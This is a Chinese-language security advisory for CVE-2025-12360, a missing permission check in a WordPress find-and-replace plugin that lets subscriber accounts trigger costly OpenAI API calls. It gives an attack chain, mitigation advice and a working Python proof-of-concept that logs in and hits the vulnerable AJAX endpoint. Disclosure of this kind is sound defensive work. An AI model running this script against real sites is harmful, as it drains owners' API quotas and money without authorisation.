IPBUF安全漏洞报告
English
CVE-2025-12360 CVSS 4.3 中危

CVE-2025-12360 WordPress Better Find and Replace插件未授权API调用漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-12360
漏洞类型
未授权访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Better Find and Replace – AI-Powered Suggestions (WordPress插件)

相关标签

未授权访问访问控制绕过WordPress插件API滥用配额消耗Better Find and ReplaceOpenAICVE-2025-12360

漏洞概述

Better Find and Replace是一款WordPress插件,提供AI驱动的查找和替换功能。该插件在1.7.7及之前版本中存在严重的访问控制缺陷。插件的rtafar_ajax()函数缺少必要的权限验证机制,允许任何已认证用户(包括最低权限的Subscriber订阅者角色)调用该AJAX端点。该函数会使用插件配置的OpenAI API密钥与OpenAI服务进行交互,执行AI相关的查找和替换操作。由于缺乏调用频率限制和权限检查,攻击者可以反复调用该接口,大量消耗OpenAI API配额,造成服务费用激增。虽然此漏洞不直接导致数据泄露或服务器被入侵,但会造成经济损失和服务可用性问题。攻击者无需高级权限,只需一个普通的WordPress账户即可实施攻击。

技术细节

漏洞根源在于WordPress插件的RTAFAR_CustomAjax.php文件中rtafar_ajax()函数缺少current_user_can()或类似权限检查。具体来说,该AJAX处理函数直接处理用户请求并调用OpenAI API,而没有验证调用者是否具有管理权限。WordPress的AJAX端点通常需要通过wp_ajax_*动作钩子注册,正确的实现应该在处理函数开头添加权限验证,如current_user_can('manage_options')检查。然而该插件直接暴露了API调用功能,任何登录用户都可以通过向wp-admin/admin-ajax.php发送POST请求,指定action=rtafar_ajax参数来触发OpenAI API调用。攻击者可以构造自动化脚本批量发送请求,每次API调用都会消耗配额并产生费用。插件使用Real-Time Auto Find And Replace名称,前台AJAX功能未做权限隔离。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress网站注册一个订阅者(Subscriber)账户
STEP 2
步骤2
攻击者使用该账户登录WordPress,获取有效的认证cookie
STEP 3
步骤3
攻击者构造恶意请求,向wp-admin/admin-ajax.php发送POST请求,action参数设置为rtafar_ajax
STEP 4
步骤4
由于rtafar_ajax()函数缺少权限验证,服务器直接处理请求并使用插件配置的OpenAI API密钥
STEP 5
步骤5
OpenAI API被调用,消耗API配额,每次调用产生费用
STEP 6
步骤6
攻击者可自动化批量请求,快速耗尽API配额,造成经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12360 PoC - Better Find and Replace Plugin Unauthorized API Usage This PoC demonstrates the vulnerability where any authenticated user can trigger OpenAI API calls. """ import requests import sys def exploit_cve_2025_12360(target_url, username, password): """ Exploit the missing capability check in rtafar_ajax() function. Args: target_url: Target WordPress site URL username: WordPress subscriber account username password: WordPress account password """ session = requests.Session() # Step 1: Login to WordPress as subscriber login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as subscriber user: {username}") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'rtafar_ajax', 'task': 'ai_replace', # Example task that triggers OpenAI API 'search_term': 'test', 'replace_term': 'exploit' } print(f"[*] Sending exploit request to {ajax_url}") response = session.post(ajax_url, data=exploit_data) # Step 3: Check response if response.status_code == 200: print(f"[+] Request sent successfully!") print(f"[*] Response: {response.text[:200]}") print("[*] Note: Each request consumes OpenAI API quota and may incur costs.") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_12360(target, user, pwd)

影响范围

Better Find and Replace Plugin (WordPress插件) <= 1.7.7

防御指南

临时缓解措施
如果无法立即升级插件,可以暂时禁用Better Find and Replace插件的AI功能,或限制订阅者角色的AJAX访问权限。同时应监控OpenAI API的使用日志,及时发现异常调用模式。建议在WordPress中限制订阅者角色的权限,避免其访问非必要的功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表